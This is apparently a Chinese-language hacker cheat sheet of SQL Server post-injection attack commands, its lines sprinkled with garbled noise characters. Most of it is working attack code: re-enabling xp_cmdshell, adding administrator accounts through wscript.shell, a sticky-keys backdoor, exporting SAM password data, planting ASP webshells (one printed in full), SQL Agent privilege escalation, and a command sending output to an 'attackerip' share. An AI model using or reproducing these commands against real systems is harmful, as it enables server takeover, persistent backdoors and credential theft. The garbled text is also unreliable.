1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
. ?. k9 v# h. [ I# m# J) ]恢复方法:查询分离器连接后,) l q8 l R: @8 y" P! G/ A
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 8 x$ j0 C% {, b, n* A. I. B ?0 \
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 r- v. j! p( }8 e& q7 b然后按F5键命令执行完毕
5 `- a8 ^ H+ W, M' a6 H8 i4 E) D& t8 \
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)( c4 }4 u+ e+ B
恢复方法:查询分离器连接后,
, |" A0 C/ o9 r9 k# z Q! Y) T2 s第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"# O5 m' F1 J, [! T# P
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'6 @; b' l0 o8 v7 {" z" w8 A
然后按F5键命令执行完毕
1 f% p$ Z( z& z: x- x# h* R
8 ]) P* U. e- h5 F3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)1 x% z, B( o+ v1 x) e) y
恢复方法:查询分离器连接后,( i9 {& C+ j% R. O4 x
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'* T# W+ D3 X- _4 d
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' % k! P1 R% T! Y
然后按F5键命令执行完毕
' U' g. l+ i2 U2 j6 `
1 g2 b: W( N! |/ M6 K4 终极方法.0 ~; n% u! k0 ~. u
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:) u5 \: r; P5 w) h1 O
查询分离器连接后,
& N( q5 T9 ~/ T$ l$ S3 p! z2000servser系统:7 o& d- U6 _8 n. k: m
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
& W9 k8 }" Z. G& C5 h/ S! H W$ l
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
# D- T" t/ N+ ]; k+ o/ [: @$ a: g' L9 W3 S% C/ x: ]5 y: _9 h
xp或2003server系统:; B# H1 V; ]! j3 W, h2 i6 r
/ \" u( c" c+ z$ T7 M7 w7 d" @0 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
( L6 U, m# J/ S/ ~9 H
( S) x( b3 [ i; r8 J1 |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 l* t& ^6 x- d0 j) S4 R8 |. u# [
; C- I7 T1 i1 n8 }% O: J
! ^ r0 |! ~% L5 K* W五个SHIFT3 G' {% q$ G3 U1 X% l! H' W' |4 c: F
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
6 G; C0 Z t9 q. Q9 z, }, W' D' d% {) J
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; c5 S: Z. I2 S
/ o# O, A/ y5 c/ G
xp_cmdshell执行命令另一种方法
. K! M. y6 D4 \+ Ideclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' . J8 C+ Z5 C9 q+ Z& k7 j1 i& c" H; s2 N
6 ?2 c& D1 W1 }9 M判断存储扩展是否存在
3 \% e% S& V; P4 F0 c7 DSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
; n4 b# X* I- p) Y1 j1 P; Z) U返回结果为1就OK
. I1 I; K" r" e6 Y; s$ Y8 p# {* ?" @7 s; g6 ^, T$ k
+ [1 n7 |' d% l* D } ?( Y. q
上传xplog70.dll恢复xp_cmdshell语句:& \. a, Q* M# t
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
F( {& W7 t, D7 c( I) ]4 ^/ B/ w- e& ?* h' e) E
否则上传xplog7.0.dll, p" P: I. }3 e# y2 n, K
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
$ D5 e! |! p' n( w( G& v/ o3 V% R E2 F$ P
0 j& a. s* @: \; Q! r$ c
( Z8 K& x$ m7 @4 K' t6 o首先开启沙盘模式:0 o7 D# I, u4 d- H+ [% q5 _7 D' [' }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: J3 K; S% p' Y1 i' ~4 D
! V" X6 S% Q+ Q/ o; j9 a
然后利用jet.oledb执行系统命令* y& [4 Q6 A' `* Q( ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')6 U- l: F0 K q# [. Q0 G5 J
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了" K' o& u P4 C* Y
2 ~4 s3 d4 v5 d$ f/ U0 Q- |+ a" ^
* M( r" R: K9 y. k* _
恢复过程sp_addextendedproc 如下: % v6 A% |4 V, Q" z- H# j" |. _
create procedure sp_addextendedproc --- 1996/08/30 20:13
$ I4 a# a. y! U+ t@functname nvarchar(517),/* (owner.)name of function to call */
$ x4 T9 ?/ I. v) b6 I@dllname varchar(255)/* name of DLL containing function */
* s g+ y% J1 _, h% ~as
) ~! G$ p) S$ ^8 ^: oset implicit_transactions off 6 l, M4 |8 V" w6 t+ I/ [/ c1 @2 n! y
if @@trancount > 0 # z1 [8 @& d6 V" m
begin 5 g2 S/ P& }/ l5 I1 @
raiserror(15002,-1,-1,'sp_addextendedproc')
4 }$ T* S$ t; Q, L8 }: ?return (1) ) a& U2 p7 L& N1 H! t* I" m; k
end ) ^9 N( P; I& P5 s
dbcc addextendedproc( @functname, @dllname) & {) k# H4 A4 _/ T2 ]
return (0) -- sp_addextendedproc
/ p0 }& d2 [, g |; b2 TGO
# r: x9 I1 c3 t9 y d( l* n4 n6 x3 R5 H" Z; I$ \# m4 N: L( G
# r- [/ O- m0 Z3 {& K% E9 `" _2 e4 e% f& v% W
导出管理员密码文件# Y0 R, z% @% C' _! b
sa默认可以读sam键.应该。
' ~+ y6 P5 g" l. Zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
9 F& q$ u5 N6 I! a/ Lnet user administrator test
% d( A, I* h2 j' N O$ ?9 A用administrator登陆.+ G6 ]- f8 s- t% |$ ^5 ?5 f; S
用完机器后
$ E1 P2 H' ~6 F4 R1 u3 greg import c:\test.reg7 N3 \4 o$ p: l2 _* ^& _& \9 e
根本不用克隆.2 W* \. ~' k9 ? y0 t1 l, E. X( Y
找到对应的sid.
3 @0 _3 w5 s. `5 X+ \. Q9 X- g8 w# A5 | }4 c- t
" k& F- P8 L: H( z
( n7 H ~: `- `/ |. g ~恢复所有存储过程" u$ H9 K' ?8 O5 Y; X. A
use master 8 X; x6 U m) r/ c
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' # N X9 t! w) b8 ~2 S7 x- b* _# B
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 6 Z) q7 v8 i, h) N5 U1 ^
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 5 I1 B$ R" q+ @, p
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ' p% O7 ]- C4 h& v9 c
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
2 Y$ b1 N% R( `. z# rexec sp_addextendedproc sp_OACreate,'odsole70.dll'
4 v* Z, `" W6 W: Jexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
1 _. b. u- P) Q7 U& n0 pexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ) ^ {, h$ l5 @4 D" S. O) \
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 5 k8 r% G( H8 e5 r7 I7 X4 P4 l
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
, x4 \! f! U. }$ |exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' $ u! m! |. W& O$ T, @, N% @5 H4 b
exec sp_addextendedproc sp_OAStop,'odsole70.dll' * ~0 M" f3 H% a4 T
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 7 C' a3 t+ G6 Q8 E' r
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 4 w) v0 L/ r, e7 V( E4 h( Z
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' - N3 J( z7 D/ P, V0 y" [2 @
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
! ~6 J) C! {, f. Rexec sp_addextendedproc xp_regread,'xpstar.dll'
2 Y* U' l; S- {: Dexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
& ~/ w' l! _2 u+ Sexec sp_addextendedproc xp_regwrite,'xpstar.dll'
! d( @* d; m8 h) q$ {exec sp_addextendedproc xp_availablemedia,'xpstar.dll'0 V6 d" k- ~" F5 D
9 h- T$ j4 M" E R6 |7 V5 M/ _
2 @/ w: ?9 N, O. P% h* m. N8 g建立读文件的存储过程
" a) G/ V, a w. B$ |5 e& ^; ?) fCreate proc sp_readTextFile @filename sysname
, A2 h/ y6 I6 Pas5 ^" f3 z+ U$ T/ v/ w
) |! B+ A2 V! p( s1 k begin
/ o }& O$ I6 x" o, e- B set nocount on
; m, |% L2 w) V* @$ {0 v3 |8 H Create table #tempfile (line varchar(8000))8 D6 P r8 g- C* q2 E$ G: ]( k
exec ('bulk insert #tempfile from "' + @filename + '"')
/ A4 X8 l4 s* X0 x! b9 n1 E; V select * from #tempfile5 l' h+ P: B8 w' f) s$ V9 x! M
drop table #tempfile( d( b( n k' D+ x9 h L
End- j3 h. g* s* V4 [* ]; V3 g5 n. t
+ r4 p; i( |3 y1 v3 ?6 ?exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
) p, V3 o6 u1 c) i8 _, t0 i! H查看登录用户, H. o. |9 k0 W9 `/ i
Select * from sysxlogins( a5 A. T! ]: s* R
9 j! W9 z3 N+ b) p( D! L
把文件内容读取到表中% G: c. W e: N$ c
BULK INSERT tmp from "c:\test.txt"
! u$ t2 _- x- l% H: d$ G9 G6 ?: s; EdElete from 表名 清理表里的内容( b$ Q$ X( w, Z" L3 d
create table b_test(fn nvarchar(4000));建一个表,字段为fn
' P+ U1 f8 J$ ^7 a' Q$ f4 ?& V" h3 u, [# Z3 Z
- o! f. `' K. G1 S
" a4 ?6 u' v6 r, m; ]" U) Q加sa用户
; X2 \+ r. q2 C% b4 wexec master.dbo.sp_addlogin user,pass;
- ~! _. N& W4 q# K1 U9 oexec master.dbo.sp_addsrvrolemember user,sysadmin, [4 }) B. Q1 e0 I8 f
8 E' ~3 {4 c+ {- R) ~& l
1 @& c' V+ w+ ]9 m# W, n2 a4 \3 p) h [
读文件代码6 E8 f, H/ ]- T! B( B
declare @o int, @f int, @t int, @ret int7 Y: l% ^2 [ j L
declare @line varchar(8000)
3 f0 F$ k8 I- p$ `# |exec sp_oacreate 'scripting.filesystemobject', @o out1 J; e2 _( S8 w! J: u6 C
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1! G ^8 I V9 A; Z$ X3 n2 m+ y
exec @ret = sp_oamethod @f, 'readline', @line out
9 p7 O |: ^% M( l0 I$ P2 G6 ?$ [while( @ret = 0 )
, s' W3 R# N) Z1 Lbegin, _5 C- ~: c- ?, g! m1 e7 v
print @line
' z+ W, a6 n; bexec @ret = sp_oamethod @f, 'readline', @line out
6 M1 m# L6 Z* m0 f# _end! t' B( D- q7 Q. n( X) o
% D: \# ~- G- }0 o5 U( F. j% i+ g* L4 {0 k: z
写文件代码:
) g0 d( L) x) a# s* K, vdeclare @o int, @f int, @t int, @ret int
& o/ e! |3 _4 q m5 q1 o5 [2 rexec sp_oacreate 'scripting.filesystemobject', @o out. j; H; E% K& @$ ^$ W. m8 o/ `
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
- `% Y& _9 o9 s/ A* T/ @exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
' W/ Q- z6 A+ t! p2 m
& Y0 Z2 T8 ^, m2 {2 I7 j' Z J2 @5 I: [: b: f
添加lake2 shell
. u O' k/ O0 k/ F; y0 ^- Zsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
) N0 Z2 W/ Y% v5 T2 M# dsp_dropextendedproc xp_lake23 q( c; n) }' v& l
EXEC xp_lake2 'net user'
S: o$ j8 I* |% b. [, o3 A! O3 W5 W+ m! ?, N; ]' D. [, |% ?
) i6 e- [1 K( M$ K
得到硬盘文件信息 ) `$ J# L$ Y% b4 f9 K
--参数说明:目录名,目录深度,是否显示文件
$ \0 ?: B* m+ t: S- N+ E: `' zexecute master..xp_dirtree 'c:' 1 o! j+ v1 S0 T, E% {( O
execute master..xp_dirtree 'c:',1
" P; P, X& W, k: Jexecute master..xp_dirtree 'c:',1,1
: \$ b5 I" `5 `5 a7 j5 [3 \* o
& b+ ?5 c' [9 Z, n- ?% R, ~9 H0 V, N: S" U8 e7 K3 ^- H
读serv-u配置信息
$ ]" P& \! ^# W2 Y p- Rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'. c5 |% V# Q1 o; N. T2 k$ v' J; v
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'/ q4 }8 [3 b( \* a- ^9 J
0 d0 J- n4 l: G. }' F
通过xp_regwrite写SHIFT后门
# d# O6 z" n- K" z0 O$ w4 \exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
; `! D5 d0 U* g- w9 @( N
( {4 K4 n" _( b7 I. o) k
$ D' [8 |* @+ o6 `0 Q$ P0 H
0 b, w& X$ b8 K2 N找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
( n8 `: n1 B2 I+ dexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
+ y+ h( u- ?8 e# t6 y# Z0 g u+ D' z4 Z$ \- F( O$ ^
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'' T8 O" d. V; D% |2 {9 n0 r
( |; x0 U2 F6 M) \/ q
/ ~4 @# v8 Z5 M! u7 N* ]5 z6 N2 M* `) ?3 c" m6 m
sql server 2005下开启xp_cmdshell的办法. x; D# w3 r% ^; X& S1 [
7 G: N! H, V: N! d% p9 W iEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;3 J( l/ k2 O, W# g8 X+ A
- V4 ] @! Z$ u9 V- `0 u9 U7 z2 b! y
SQL2005开启'OPENROWSET'支持的方法:
. |# q: J% H8 U" ~) E8 Q( X0 U# W `/ j4 i: b
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;, _+ ?) m: P8 W$ ?6 G5 D# G
7 l* e4 B! Q+ d5 J) F
SQL2005开启'sp_oacreate'支持的方法:
. p8 g0 B1 q: r" k7 G
! S% r& R. t0 C0 oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
, S& A/ l4 z# G1 f8 n. X% v8 ~
( v' n# `7 ?' G i' P
' H+ N2 Y. @/ m8 y
* s: J5 [. m& L7 z+ @' E
' ^* j: }2 f+ O! v
% D- q3 R( n6 B5 N) e1 I) P7 h- ^% k& \' A' f$ |2 E% a b. Z4 Z
1 ?" J$ _4 e+ X4 @4 t1 r' j7 h
" M. z9 \& ^- r# q t
$ b+ a0 J" O3 Y; d1 P% i! U, P3 O" d7 B, O
8 C- k. _! t8 w; W7 L: W5 G4 y, d8 {0 o0 k/ p: ^% k9 {' S5 v
3 E7 ~) G4 t( U* M( E' j0 Z) o/ \
- [7 S& j E5 q4 B% W, d
. u' A) T/ ^& m
, d( N2 M3 \8 m/ Y2 o+ S: }
& _. P$ F* g! n5 d
. N4 ?3 z6 Y) y, ]! @ X$ m8 \" J0 ~9 R( r9 I
9 G9 K2 O( U+ _+ G: E
$ d; _3 E- j4 u1 {7 q" @, N+ }
( H$ r6 J/ L, a/ j5 [8 a6 f5 b2 k
: K8 c2 D& ~9 p/ T2 u; l: X( e
( M9 O! L4 S- d4 \以下方面不知道能不能成功暂且留下研究哈:
: }4 y. I+ {6 \* ]. A5 [4)
* J, t% J4 a2 O. luse msdb; --这儿不要是master哟
' I7 Y* W; t5 ?/ Y4 ]& J/ Nexec sp_add_job @job_name= czy82 ;
* \0 R7 Q _6 Hexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
: ?5 Y. X% J5 [exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;3 F$ d% D2 F& i5 { s7 v+ {) T6 F3 J
exec sp_start_job @job_name= czy82 ;
}: [$ s0 ~: S3 }' H* L y, X& }# l1 j# ~* ?1 L
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以' u9 v3 Z( C" K J2 @% ^) r' p- c
执行tsql语句了.! p }+ V, S9 r# z- E- ?6 Z
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名: u! N; o1 n) j) O& }9 T
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)+ l! C3 R0 j! S0 V% {
net start SQLSERVERAGENT1 j( m2 Y2 K; ]/ Y; A
- Y7 m! K% Y1 C5 R/ a对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的0 k2 x0 x2 i; `: l
USE msdb7 E5 f8 X7 ~+ D- m4 C* c1 y0 [
EXEC sp_add_job @job_name = GetSystemOnSQL ,! A1 V, C6 m4 I# R! k- r
@enabled = 1, t* L1 [1 u0 S% K& A$ x* T
@description = This will give a low privileged user access to& _) L5 z0 [. ?! F
xp_cmdshell ,
7 b4 f1 a) p2 j( P& b4 x: S@delete_level = 1% r+ |9 W# N! t0 V& \
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
" ?. d8 l0 s) M ]@step_name = Exec my sql ,2 c( M" f' r! _9 y8 [% e
@subsystem = TSQL ,/ R9 J( ]; W- ~6 g! g
@command = exec master..xp_execresultset N select exec& @7 t# m' p& w; ~0 I" i
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
1 _% W* y% z8 J9 fEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,& h& ?# k+ K( h. y
@server_name = 你的SQL的服务器名
+ _* k Y' Y( r; m, ~; }EXEC sp_start_job @job_name = GetSystemOnSQL 5 g: m/ c. V0 U7 I1 m2 a5 X' M
: }& O2 ^) _7 C9 c4 R
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 s7 j/ |0 D* @; e( E* a; f才让我们可以以public执行xp_cmdshell
' y7 j+ c1 J/ n! R+ Z9 t+ p8 H0 e, F+ g9 U( X2 q4 A
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以), r0 _% q1 Y2 r0 x" L! o/ I, A! ^
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968, O; k* H: Z+ W/ ?1 x0 x
0 T. y6 u: f Q6 b; o* LUSE msdb- @9 t) [0 a* c T. f! O0 r
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
* q% N8 z2 \+ R4 W# [7 b5 t0 [4 L, o6 W@enabled = 1,
/ F# Z$ J0 w- `6 c, Q. b@description = This will create a file called c:\sqlafc123.txt ,
. E- C+ s2 k+ ?6 M( O@delete_level = 17 ?0 j2 r6 |; H( S5 g: p
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
# L* I. c% ]/ g. ~@step_name = SQLAFC ,
. y" @& Y* K9 h! n/ ^@subsystem = TSQL ,+ M$ w" l8 S: S8 w o! m
@command = select hello, this file was created by the SQL Agent. ,
: l& E% K4 t- D+ W3 g0 |@output_file_name = c:\sqlafc123.txt
; \& C+ | [7 l) Q5 A0 VEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,8 C/ G8 E: G2 I
@server_name = SERVER_NAME ; ~1 s& |- }# w6 I6 b. f! o
EXEC sp_start_job @job_name = ArbitraryFilecreate 8 {/ X8 h! T% n) j6 O4 f4 V* F2 |
- v3 b3 y1 f/ q2 ~. y; s1 f如果subsystem选的是:tsql,在生成的文件的头部有如下内容! [9 [# g6 {6 ]+ y1 z' C0 H% D
* @6 N' Y8 m3 ]) D/ K/ h??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
% X) ~4 U+ }" |5 k9 h6 e, w5 N----------------------------------------------" Z: B \% m; r2 r
hello, this file was created by the SQL Agent. H# ?' }$ G, _) b% L8 H% I
4 h9 n; I) L, \% y! X/ a
(1 ?????)# J, W) l; g7 l/ D* B) E
; d; J# z1 H* q3 c6 A
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
' s9 M+ O4 Y/ K6 Q$ \命令的vbs文件到启动目录!
$ j/ W3 Q" b+ C- A' h: l" j1 n. a; X5 b, N& X* X/ W
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
5 C4 U% t: G1 T" p6 {# X! G关于sp_MScopyscriptfile 看下面的例子
* J1 ^9 R! n) I$ E! p+ ]7 o) Ideclare @command varchar(100) & o+ @/ m: M% c* }8 B
declare @scripfile varchar(200) , S; m, \9 H5 P
set concat_null_yields_null off # n: `6 R, Q- U6 ~" Q
select @command= dir c:\ > "\\attackerip\share\dir.txt" , X3 X7 j* n2 `1 l& @) R/ n
select @scripfile= c:\autoexec.bat > nul" | @command | rd " : U) A4 c* u2 B9 }! ^3 ^1 K% `
exec sp_MScopyscriptfile @scripfile , ; {- D$ B* ]' c0 q* A: O
, `% Z/ o4 K- S8 C$ e这两个东东都还在测试试哟
" _% r. q3 `' L+ u让MSSQL的public用户得到一个本机的web shell . H/ A( K; [: Q0 J
. K) }1 G; s2 `8 p K
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
, p: U5 e; z' i1 J% e! V4 e4 v--@query= select <img src=vbscript:msgbox(now())>
$ K5 }- T% \' e" B" j' k$ ]1 W% ?" y--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ( T' r, V( M* S- _" m/ S( o; ^
@query= select
# r+ [$ Z# L( D- b$ I/ w<%On Error Resume Next
( U) G: Z+ O0 ^( c$ ]* ISet oscript = Server.createObject("wscript.SHELL")
; Y m) g6 f* a4 h. pSet oscriptNet = Server.createObject("wscript.NETWORK") . j z6 z: M" \/ x0 l0 V6 ~
Set oFileSys = Server.createObject("scripting.FileSystemObject")
; v; o1 a; I% I* V4 QszCMD = Request.Form(".CMD") 9 v/ a. t/ M, P4 ]7 b2 J
If (szCMD <>"")Then
! _. Y8 c8 K7 uszTempFile = "C:\" & oFileSys.GetTempName() 4 V* _( m9 t" \0 Z9 A
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ' S8 r+ [" B# y2 a$ b
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 8 w+ I b9 e, b4 q, \
End If %> : H! a1 ~. D' o! @7 j! y
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
5 Z8 D# w3 c- @& ~' O/ ^<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> # E1 C1 N6 T( s3 w2 L; C
</FORM>< RE> , P, x1 P! x, s( J
<% If (IsObject(oFile))Then / U/ W: [( D3 y3 ^! k! [- {
On Error Resume Next
$ Z- n$ I' @ B) N7 Q4 uResponse.Write Server.HTMLEncode(oFile.ReadAll)
4 E# R$ @. h9 V! B- N! W% ~oFile.Close . B- b3 k0 |* ?! H! q1 p
Call oFileSys.deleteFile(szTempFile, True) ( _7 A" j+ r: p6 F% } G# L; I) ~
End If%> ( x X) r6 G+ F( ]: }
</BODY></HTML>
- c; O; |3 z8 u" D |